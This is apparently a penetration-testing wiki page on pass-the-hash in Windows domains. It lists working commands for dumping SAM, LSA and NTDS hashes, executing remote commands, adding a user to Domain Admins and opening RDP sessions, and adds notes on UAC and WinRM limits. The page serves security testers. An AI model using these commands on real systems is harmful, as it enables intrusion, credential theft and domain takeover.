Pass the hash
Theory
An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).
Practice
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.
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=== Credentials dumping
The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).
netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
=== Command execution
Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).
psexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
atexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
NetExec (Python) has the ability to do it on a set of targets
netexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
netexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami
On Windows, mimikatz (C) can pass-the-hash and open an elevated command prompt with sekurlsa::pth.
sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash
=== AD operations
The pth-toolkit (Python) can be used from a Linux system to operate LDAP queries, add a user to a group and so on (LMhash can be ffffffffffffffffffffffffffffffff).
pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER
=== RDP access
FreeRDP (C) has the ability to do pass-the-hash for opening RDP sessions.
xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920
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Limitations, tips and tricks
[!IMPORTANT] UAC limits pass-the-hash
UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
- the registry key
LocalAccountTokenFilterPolicyis set to0by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to1allows the other local admins as well.- the registry key
FilterAdministratorTokenis set to0by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to1, it doesn't.In short, by default, only the following accounts can fully take advantage of pass-the-hash:
- local accounts : the built-in, RID-500, "Administrator" account
- domain accounts : all domain accounts with local admin rights
[!NOTE] WinRM enables pass-the-hash
Testers should look out for environments with WinRM enabled. During the WinRM configuration, theEnable-PSRemotingsets theLocalAccountTokenFilterPolicyto1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.[!TIP] Machine accounts
Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted after crafting a Silver Ticket or doing S4U2self abuse, since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).